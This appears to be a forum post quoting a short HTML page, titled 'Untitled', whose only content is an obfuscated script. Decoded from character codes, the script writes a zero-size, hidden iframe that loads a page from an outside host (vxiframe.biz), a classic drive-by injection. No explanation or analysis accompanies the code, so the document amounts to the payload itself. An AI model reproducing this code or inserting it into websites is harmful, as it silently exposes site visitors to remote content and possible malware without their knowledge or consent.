Código HTML:
<html>
<head>
<title>Untitled</title>
</head>
<body>
<script language=javascript>
pepe=(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,105,102,114,97,109,101,32,98,111,114,100,101,114,61,48,32,119,105,100,116,104,61,48,32,104,101,105,103,104,116,61,48,32,115,116,121,108,101,61,39,100,105,115,112,108,97,121,58,110,111,110,101,39,32,115,114,99,61,39,104,116,116,112,58,47,47,118,120,105,102,114,97,109,101,46,98,105,122,47,97,100,118,101,114,116,115,47,48,51,47,49,46,112,104,112,39,62,60,47,105,102,114,97,109,101,62,34,41))
pepe=pepe.split("<").join("<");
document.write(pepe);
</script>
</body>
</html>